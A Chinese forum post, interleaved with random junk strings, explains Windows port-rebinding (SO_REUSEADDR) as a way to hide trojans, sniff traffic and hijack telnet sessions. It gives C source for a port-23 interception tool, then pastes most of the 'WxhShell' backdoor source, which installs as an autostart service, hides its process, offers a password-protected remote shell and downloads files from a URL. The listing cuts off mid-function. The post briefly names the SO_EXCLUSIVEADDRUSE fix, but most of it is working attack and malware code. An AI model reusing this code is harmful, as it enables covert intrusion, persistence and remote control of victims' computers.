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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %.vVEy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mml z&h  
,UuH}E  
  saddr.sin_family = AF_INET; B-r0"MX&  
ccL~#c0P7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZWS`\M  
{%C7EAq*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +$Rt+S BD  
MuSUKBhM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bwl|0"f+`  
S.a%  
  这意味着什么?意味着可以进行如下的攻击: GQ-Rtn4v  
Ox-|JJ=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 > %KuNy{  
!Ta>U^ 7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .c$316  
y.q(vzg\_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z0do;_x]E  
Y &K;l_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *Aa?yg:=  
b3VS\[p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ki)#d' }  
\!ej<T+JR>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hh[jN 7K  
k]I0o)+O.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !e?.6% %   
b4pm_Um  
  #include y.Z?LCd<  
  #include &/Q0  
  #include Ft!],n-n*  
  #include    yR\btx|e5~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >&U,co$>  
  int main() \oZ5JoO  
  { J.| +ID+  
  WORD wVersionRequested; `F>O;>i''  
  DWORD ret; +="e]Yh;  
  WSADATA wsaData; Gmz6$^D   
  BOOL val; 6w@ Ii;  
  SOCKADDR_IN saddr; ,#kIr  
  SOCKADDR_IN scaddr; %Ijj=wW  
  int err; EE W_gFn  
  SOCKET s; 9U%N@Dq`Z  
  SOCKET sc; &EnuE0BD  
  int caddsize; (!zy{;g|  
  HANDLE mt; |*0<M(YXN  
  DWORD tid;   "%x<ttLl  
  wVersionRequested = MAKEWORD( 2, 2 ); icgSe:Ci  
  err = WSAStartup( wVersionRequested, &wsaData ); XSZ k%_  
  if ( err != 0 ) { # m *J&  
  printf("error!WSAStartup failed!\n"); RnDt)3  
  return -1; ih;]nJ]+-  
  } #&7}-"Nd  
  saddr.sin_family = AF_INET; -Zz$~$  
   fP `b>]N_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~((w?Yy"v  
_> *j H'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b 'pOJS  
  saddr.sin_port = htons(23); =pC3~-;3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4%3M b-#Y]  
  { yT,.z 0  
  printf("error!socket failed!\n"); E}tqQ*u  
  return -1; '^"6+k  
  } [ E ]E  
  val = TRUE; |UxG$M(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G-.^O,%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _}En/V_  
  { 8UVmv=T  
  printf("error!setsockopt failed!\n"); ])!o5`ltZ  
  return -1; M%0C_=zg  
  } b^$|Nz;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !! ? Mw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7fba-7-P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2 FW \O0U  
y)@[Sl>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jWE :ek*  
  { <fFTY130:  
  ret=GetLastError(); xsMBC  
  printf("error!bind failed!\n"); 9BuSN*4  
  return -1; &@yo;kB  
  } <h'5cO  
  listen(s,2); a,WICv0E  
  while(1) `p;I}  
  { y;o^- O  
  caddsize = sizeof(scaddr); H"dJ6  
  //接受连接请求 p ObX42  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O6G0  
  if(sc!=INVALID_SOCKET) SV~~Q_U9  
  { u!W0P6   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nPy$D-L,  
  if(mt==NULL) ptZ <ow&  
  { {R? U.eJW  
  printf("Thread Creat Failed!\n"); ftF@Wq1f  
  break; n@,G8=J?  
  } dKxyA"@  
  } 9uA>N  
  CloseHandle(mt); 7G>dTO  
  } FK5 <6n,U  
  closesocket(s); AGYc |;  
  WSACleanup(); h9G RI  
  return 0; 4s*ZS}] o  
  }   ~,B5Hc 2  
  DWORD WINAPI ClientThread(LPVOID lpParam) LBa[:j2  
  { ?qWfup\S  
  SOCKET ss = (SOCKET)lpParam; 5X:*/FuS@  
  SOCKET sc; Us0EG\Y  
  unsigned char buf[4096]; /VN f{p  
  SOCKADDR_IN saddr; J.xPv)1'  
  long num; y3o25}"  
  DWORD val; B2'i7P s  
  DWORD ret; TO?R({yx*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @8pp EFw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W)f/0QX}W  
  saddr.sin_family = AF_INET; &-B^~M*??  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l)&X$3?tz  
  saddr.sin_port = htons(23); &b%zQ4%d-`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7B\Vs-d  
  { .Lsavpo  
  printf("error!socket failed!\n"); R&BTA  
  return -1; ne_TIwfw-  
  } P<a)25be/  
  val = 100; io-![^{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "C{}Z  
  { "Pu!dJ5[]  
  ret = GetLastError(); [8*jw'W|[  
  return -1; ov_j4 j>6P  
  } &p4&[H?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a@UZb  
  { <#u=[_H  
  ret = GetLastError(); lY?QQ01D  
  return -1; g| vNhq0|i  
  } A Sk|A!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3 +G$-ru  
  { 'z%o16F)L  
  printf("error!socket connect failed!\n"); 4hTMbS_;  
  closesocket(sc); K k-S}.E  
  closesocket(ss); 0dGAP  
  return -1; lrIS{MJ+-  
  } rPLm5ni  
  while(1) /7|V+6jV  
  { $+Z)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rMLp-aR'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .ZVUd84B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Pa V@aM~3  
  num = recv(ss,buf,4096,0); C(#u[8  
  if(num>0) |ZRagn30  
  send(sc,buf,num,0); pgQV/6  
  else if(num==0) &h^9}>rVjV  
  break; !O:y@  
  num = recv(sc,buf,4096,0); jU9$Ehg I  
  if(num>0) -y8`yHb_  
  send(ss,buf,num,0); oPXkYW  
  else if(num==0) uj R_"r|l  
  break; FrL]^59a  
  } S~;4*7+?:  
  closesocket(ss); ->y J5smtY  
  closesocket(sc); P(,p'I;j  
  return 0 ; Vr^n1sgE}r  
  } ,+meT`'vn  
zxbpEJzpn  
OZ |IA:,}  
========================================================== P3)Nl^/  
=/y]d<g  
下边附上一个代码,,WXhSHELL 1DE<rKI  
vdx0i&RiL  
========================================================== jB$IyQ;@  
T_@K& <  
#include "stdafx.h" Ay5i+)MD  
V )x$|!(  
#include <stdio.h> <SgM@0m  
#include <string.h> t>urc  
#include <windows.h> W&& ;:Fr  
#include <winsock2.h> naYrpK,.  
#include <winsvc.h> u'|4?"uz  
#include <urlmon.h>  D#il*  
)4gJd? 8R  
#pragma comment (lib, "Ws2_32.lib") F`Q[6"<a  
#pragma comment (lib, "urlmon.lib") ]* F\"C@  
Crho=RJPR  
#define MAX_USER   100 // 最大客户端连接数 3=FZ9>by  
#define BUF_SOCK   200 // sock buffer (Pf+0,2  
#define KEY_BUFF   255 // 输入 buffer 7=TF.TW)  
:Q $K<)[  
#define REBOOT     0   // 重启 0?\Zm)Q~(  
#define SHUTDOWN   1   // 关机 4cabP}gBk  
5_I->-<  
#define DEF_PORT   5000 // 监听端口 >VP= MbN  
PE}:ybsX  
#define REG_LEN     16   // 注册表键长度 Bm.:^:&k  
#define SVC_LEN     80   // NT服务名长度 % NA9{<I  
@eD):Y  
// 从dll定义API ~sl{|E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e;Ti&o}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @z4*.S&tz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \ 3wfwu.q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aY'C%^h]  
4)h]MOZ  
// wxhshell配置信息 #A1Z'y0  
struct WSCFG { R7$:@<:g  
  int ws_port;         // 监听端口  FT#8L  
  char ws_passstr[REG_LEN]; // 口令 ~]pE'\D7Ad  
  int ws_autoins;       // 安装标记, 1=yes 0=no CFzNwgv]z  
  char ws_regname[REG_LEN]; // 注册表键名 Rot@x r7Hc  
  char ws_svcname[REG_LEN]; // 服务名 2N~Fg^xB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q3.j"WaP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ox&P}P0f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *1p|5!4c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KIui(n#/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Co (.:z~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DoJ\ q+  
^W'fA{sr  
}; 8$85^Of  
 x }\64  
// default Wxhshell configuration 42e|LUZg  
struct WSCFG wscfg={DEF_PORT, [ oL.+  
    "xuhuanlingzhe", a`&f  
    1, sYe?M,  
    "Wxhshell", gVq;m>\|F  
    "Wxhshell", UDL!43K  
            "WxhShell Service", x(hE3S#+  
    "Wrsky Windows CmdShell Service", 2z6yn?'&L  
    "Please Input Your Password: ", *BR~}1 i  
  1, ,k{#S?:b  
  "http://www.wrsky.com/wxhshell.exe", @.b+av4J  
  "Wxhshell.exe" iF-6Y0~8  
    }; ROg(U8 N  
TH; R  
// 消息定义模块 "uuVy$6C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  J7=+  
char *msg_ws_prompt="\n\r? for help\n\r#>";  ud xZ0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &Sl[ lXE  
char *msg_ws_ext="\n\rExit."; %+8F'&X  
char *msg_ws_end="\n\rQuit."; WM| dKF  
char *msg_ws_boot="\n\rReboot..."; 4wID]bKM  
char *msg_ws_poff="\n\rShutdown..."; 9K5pwC\$%  
char *msg_ws_down="\n\rSave to "; E~%jX }/  
8TGOx%}i  
char *msg_ws_err="\n\rErr!"; -BRc8 /  
char *msg_ws_ok="\n\rOK!"; ;3d"wW]}7K  
Xf02"PXC  
char ExeFile[MAX_PATH]; BGOuDKz9C  
int nUser = 0; !lf|7  
HANDLE handles[MAX_USER]; =U#dJ^4P  
int OsIsNt; X 9p.gXF  
3Mxp)uG/  
SERVICE_STATUS       serviceStatus; f|h|q_<;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q}~3C1  
JRSSn]pw  
// 函数声明 b%<9Sn   
int Install(void); ::ajlRZG  
int Uninstall(void); ue4Vcf  
int DownloadFile(char *sURL, SOCKET wsh); 2_n7=&  
int Boot(int flag); o*DN4oa)  
void HideProc(void); Y%PwktQm  
int GetOsVer(void); ~i~7 n a|  
int Wxhshell(SOCKET wsl); :bz}c48%  
void TalkWithClient(void *cs); e?7& M  
int CmdShell(SOCKET sock); 5jd,{<  
int StartFromService(void); 1u: gFUb  
int StartWxhshell(LPSTR lpCmdLine); nQ q=7Gu  
A6:es_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RRRCS]y7$t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jUSmq m'  
S/D^  
// 数据结构和表定义 -j73Wz  
SERVICE_TABLE_ENTRY DispatchTable[] = |K.mP4CKY  
{ k p<OJy  
{wscfg.ws_svcname, NTServiceMain}, /LO -HnJ  
{NULL, NULL} 1#.>a$>  
}; 1+9W+$=h2  
fb{`` ,nO  
// 自我安装 Z&|Kki*  
int Install(void) X:6c}p%,!  
{ :^kZ.6Q@  
  char svExeFile[MAX_PATH]; l-SAC3qhG  
  HKEY key; kPVO?uO  
  strcpy(svExeFile,ExeFile); VY~yg*  
QA<Jr5Ys  
// 如果是win9x系统,修改注册表设为自启动 h{AII  
if(!OsIsNt) { a#>Yh;FA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5[A@ gw0u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kL$!E9  
  RegCloseKey(key); VH+%a<v"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lEhk'/~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VO$ iNK  
  RegCloseKey(key); xn5l0'2  
  return 0; +n#V[~~8AI  
    } /4g1zrU  
  } u/M+u;  
} So0f)`A  
else { F)W:  
cFeXpj?GV  
// 如果是NT以上系统,安装为系统服务 $4/yZaVb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b*`lk2oMa/  
if (schSCManager!=0) -?mfE+kt  
{ 1UE6 4Kl:S  
  SC_HANDLE schService = CreateService .ox8*OO<  
  ( hnDBFQ{  
  schSCManager, D|Q#gcWpo  
  wscfg.ws_svcname, 5*1D$mxD"  
  wscfg.ws_svcdisp, EJsM(iG]~M  
  SERVICE_ALL_ACCESS, | h;0H`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YhDtUt}?  
  SERVICE_AUTO_START, VzY8rI  
  SERVICE_ERROR_NORMAL, a>GyO&+Dkg  
  svExeFile, zxC#0@qX07  
  NULL, w]]8dz  
  NULL, EL(nDv  
  NULL, 1(|'WyD  
  NULL, XDFx.)t  
  NULL ie2WL\tR4  
  ); go'-5in(  
  if (schService!=0) }Q=!Y>Tc  
  { R )mu2 ^  
  CloseServiceHandle(schService); =5kY6%E7c  
  CloseServiceHandle(schSCManager); ZuS0DPS`L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PX<J&rx  
  strcat(svExeFile,wscfg.ws_svcname); 5 N#3a0)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hM{{\yZS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bT^I"  
  RegCloseKey(key); 0cJWJOj&  
  return 0; TrLu~4  
    } OH">b6>\  
  } |Z=^`J  
  CloseServiceHandle(schSCManager); [%77bv85.G  
} xHz[t6;4;  
} X pBj%e:  
4cl\^yD  
return 1; %Ti}CwI`  
} L IZRoG8  
M#As0~y  
// 自我卸载 *=+td)S/1  
int Uninstall(void) <8d^^0  
{ ?kB2iU_f+  
  HKEY key; ^eR%N8Z  
DDPxmuNG  
if(!OsIsNt) { Z|5?7v;h5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,PWgH$+  
  RegDeleteValue(key,wscfg.ws_regname); u%$Zqee  
  RegCloseKey(key); ENGg ~D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ev#;t@^  
  RegDeleteValue(key,wscfg.ws_regname); ?q; Fp  
  RegCloseKey(key); Db;G@#x  
  return 0; ;K!]4tfJ  
  } +YqZ ((  
} -5I2ga  
} WC.t_"@  
else { Y0_),OaY  
<-,gAk)u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3>R#zJf  
if (schSCManager!=0) ~Uxsn@nLr  
{  Fl1;;F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U`Wauv&  
  if (schService!=0) c2e tc8  
  { K9OYri^TQ  
  if(DeleteService(schService)!=0) { .8P.)%  
  CloseServiceHandle(schService); .R9IL-3fO  
  CloseServiceHandle(schSCManager); Qt/8r*Oe  
  return 0; EpFQ|.mQ  
  } rxy&spX  
  CloseServiceHandle(schService); Q)LM-ZJKQ  
  } <j5NFJ9  
  CloseServiceHandle(schSCManager); G=A,9@+c  
} uU:CR>=AKW  
} ui@2s;1t  
S p^9& ^  
return 1; 9\]^|?zQ`  
} 4qYUoCR&  
}C#;fp"L  
// 从指定url下载文件 @ )-$kk*  
int DownloadFile(char *sURL, SOCKET wsh) -tyK~aasQ  
{ r%.do;5  
  HRESULT hr; E5N{j4\F  
char seps[]= "/"; 7 <Q5;J&;  
char *token; o4zM)\;F  
char *file; "B8"_D&  
char myURL[MAX_PATH]; @$2))g`  
char myFILE[MAX_PATH]; I= .z+#Y  
M>>qn_yq4  
strcpy(myURL,sURL); D*YM[sN`  
  token=strtok(myURL,seps); h?FmBK'BAd  
  while(token!=NULL) pTyi!:g3W  
  { ]<q[Do8k  
    file=token; lME)?LOI  
  token=strtok(NULL,seps); j~e;DO  
  } rJ!{/3e  
Q]w&N30  
GetCurrentDirectory(MAX_PATH,myFILE); Zt&6Ua[Y}  
strcat(myFILE, "\\"); S9>0t0  
strcat(myFILE, file); NSFs\a@1  
  send(wsh,myFILE,strlen(myFILE),0); Iy.rqc/86  
send(wsh,"...",3,0); 5n ^TRB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n9\]S7] 52  
  if(hr==S_OK) WzI8_uM  
return 0; %O<%UmR  
else if]Noe  
return 1; 60)iw4<wf  
(}5S  
} _` [h,=  
XK5<Tg  
// 系统电源模块 Cua%1]"4w  
int Boot(int flag) DtEwW1J  
{ i9D0]3/>  
  HANDLE hToken; W},b{NT  
  TOKEN_PRIVILEGES tkp; n?:=  
,= &B28Qe)  
  if(OsIsNt) { P@]8pIB0d^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {q3H5csFq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rO:u6."_  
    tkp.PrivilegeCount = 1; 5c;h &  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8p!*?RRme[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > QFHm5Jw  
if(flag==REBOOT) { t nS+5F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [,aqQ6S  
  return 0; f N "tA  
} Z h/Uu6  
else { 0gn@h/F2%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ((rv]f{  
  return 0; NA.1QQ ;e  
} w~@-9<^K]v  
  } PjIeZ&p  
  else { Ce'pis   
if(flag==REBOOT) { %ObD2)s6:^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I=Oy-  
  return 0; RAjkH`  
} WM)F0@"  
else { &-1./?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T|"7sPgGR  
  return 0; ;p ]y)3  
} \NqEw@91B  
} - /c7n F  
[ "xn5l E  
return 1; ? &zQa xD  
} SLhEc  
_iE j  
// win9x进程隐藏模块 @+_&Y]  
void HideProc(void) * \HRw +cL  
{ 4 UAvw  
y@wF_WX2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -iCcoA  
  if ( hKernel != NULL ) Z v0C@r  
  { MF[z -7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %q_Miu@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ewo*yY>  
    FreeLibrary(hKernel); y7<&vIEC  
  } Ak~4|w-  
uG>nV  
return; &B!%fd.'  
} g$j6n{Yl  
T`$KeuL  
// 获取操作系统版本 F?Or;p5`Y  
int GetOsVer(void) 30FykNh  
{ )%du@a8  
  OSVERSIONINFO winfo; W'_/6_c$!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YDiN^q7  
  GetVersionEx(&winfo); ~hURs;Sb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vW' 5 ` %  
  return 1;  }sMW3'V  
  else .R5/8VuHF  
  return 0; @~jxG%y86  
} Z|^MGyn  
p27p~b&  
// 客户端句柄模块 q|q:: q*  
int Wxhshell(SOCKET wsl) Vdvx"s[`m  
{ wL<j:>Ke[3  
  SOCKET wsh; a'[)9:  
  struct sockaddr_in client; $P?{O3:V  
  DWORD myID; r`]7S_t5T  
#t5juX9Ho9  
  while(nUser<MAX_USER) X}apxSd"  
{ >rwYDT#m]  
  int nSize=sizeof(client); !C7<sZ`C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uFe'$vI  
  if(wsh==INVALID_SOCKET) return 1; >=!AL,:  
Pi%tsKk%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u g6r]0]  
if(handles[nUser]==0) 96W4 c]NT  
  closesocket(wsh); u[t>Tg2R  
else Tcs3>lJ}   
  nUser++; -fM1$/]  
  } ",ad7Y7i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `2x34  
TczXHT}G  
  return 0; '?R=P  
} uAb 03Q  
A*Q[k 9B  
// 关闭 socket eH=c|m]!P  
void CloseIt(SOCKET wsh) d2ofxfpg+  
{ JfKg_&hM  
closesocket(wsh); 5}SXYA}  
nUser--; gY\mXM*^  
ExitThread(0); &V;x 4  
} A}eOR=E  
)tPl<lb  
// 客户端请求句柄 Fhi5LhWe+.  
void TalkWithClient(void *cs) aa=b<Cd  
{ <W|1<=z(  
[Ye5Y?  
  SOCKET wsh=(SOCKET)cs; t|".=3%G  
  char pwd[SVC_LEN]; 9<qx!-s2rr  
  char cmd[KEY_BUFF]; -CElk[u  
char chr[1]; _&mc8ftT  
int i,j; Fs9W>*(  
%jgg59  
  while (nUser < MAX_USER) { / T#o<D  
o?=fhc  
if(wscfg.ws_passstr) { #x|VfN5f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qqD0R*(C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -~0'a  
  //ZeroMemory(pwd,KEY_BUFF); C!kbZTO[p"  
      i=0; (o{)>D  
  while(i<SVC_LEN) { z{V8@q/  
o(nHB g  
  // 设置超时 G%`cJdM  
  fd_set FdRead; c8tP+O9  
  struct timeval TimeOut; ;l#?SYY  
  FD_ZERO(&FdRead); 5YLho2h38!  
  FD_SET(wsh,&FdRead); ,m"l\jP  
  TimeOut.tv_sec=8; o7QK8#  
  TimeOut.tv_usec=0; PJ6$);9}6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R''Sfz>8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TQ2i{e  
%SFw~%@3&~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @s?oJpo  
  pwd=chr[0]; SFOQM*H  
  if(chr[0]==0xd || chr[0]==0xa) { iQ0&W0D]  
  pwd=0; @hBx, `H^  
  break; cG5$lB  
  } X[Y #+z4  
  i++; ;p.j  
    } @]yQJuXA&Z  
C!I\Gh  
  // 如果是非法用户,关闭 socket 5Wj5IS/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7~ILRj5Nq  
} VN!^m]0  
W|)(|W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r ufRaar  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ubpg92  
Dj/Q1KY$m  
while(1) { )/i4YLO  
d!FONi  
  ZeroMemory(cmd,KEY_BUFF); MEDskvBG  
CcbWW4 )  
      // 自动支持客户端 telnet标准   Yr Preuh  
  j=0; M~#5/eRX  
  while(j<KEY_BUFF) { F 'fM?!(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s' _$j$1  
  cmd[j]=chr[0]; V}p*HB@:  
  if(chr[0]==0xa || chr[0]==0xd) { C3^X1F0  
  cmd[j]=0; $d5&~I  
  break; `<bCq\+`  
  } o(vZ*^\  
  j++; ,[+ZjAyG}#  
    } d8 3+6d  
VK"[=l  
  // 下载文件 06Sqn3MB  
  if(strstr(cmd,"http://")) { >f3k3XWRT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %pQdq[J={  
  if(DownloadFile(cmd,wsh)) ^$3w&$K*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (%=lq#,   
  else 0R.Gjz*Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e=|F(iW  
  } mOgx&ns;j  
  else { `=WzG"  
*T1L )Cp  
    switch(cmd[0]) { v #zfs'  
  }d$vcEI$3  
  // 帮助 Zm?G'06  
  case '?': { PLl x~A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !: `Ra  
    break; a?f5(qW3  
  } DRS;lJ2  
  // 安装 ZfF`kD\  
  case 'i': { h=mI{w*  
    if(Install()) 4?* `:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !^Qb[ev  
    else +U c&%Px  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L.R\]+$U2  
    break; 6-Vl#Lyb  
    } +$Ddd`J'  
  // 卸载 1-ndJ@Wlz  
  case 'r': { cftn`:(&8  
    if(Uninstall()) ` Mv5!H5l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *+zy\AhkP  
    else -6*OF.Ag`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U(=f5|-  
    break; WL*W=(  
    } )PanJHtU  
  // 显示 wxhshell 所在路径  K{7S  
  case 'p': { /s-jR]#VA  
    char svExeFile[MAX_PATH]; [M zc^I&  
    strcpy(svExeFile,"\n\r"); u"CIPc{Sr  
      strcat(svExeFile,ExeFile); Iu)(Huv  
        send(wsh,svExeFile,strlen(svExeFile),0); a#~Z5>{  
    break; n?KS]ar>  
    } ,nuDoc  
  // 重启 PxCl]~v  
  case 'b': {  *<h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =6q*w^ET  
    if(Boot(REBOOT))  C.TCDl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QP-<$P;~  
    else { WRU@i;l  
    closesocket(wsh); R4J>M@-0v  
    ExitThread(0); /Vj byRwV  
    } @8 yE(  
    break; G5eLs  
    } B}xo|:f!zj  
  // 关机 qh'f,#dI}  
  case 'd': { 5['B- Iw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KzH}5:qI  
